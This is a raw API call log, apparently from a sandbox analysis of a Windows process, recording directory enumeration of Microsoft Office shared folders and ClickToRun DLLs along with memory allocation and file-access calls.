	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0241.453] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0241.453] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1
	[0241.453] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1
	[0241.453] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0241.453] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.453] VirtualAlloc (lpAddress=0xc0004f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f8000
	[0241.454] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0241.454] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0001178f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001178f4, lpOverlapped=0x0) returned 0
	[0241.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0241.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0241.458] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.460] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1
	[0241.460] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1
	[0241.461] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1
	[0241.462] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1
	[0241.462] VirtualAlloc (lpAddress=0xc0004fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004fa000
	[0241.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1
	[0241.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1
	[0241.463] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1
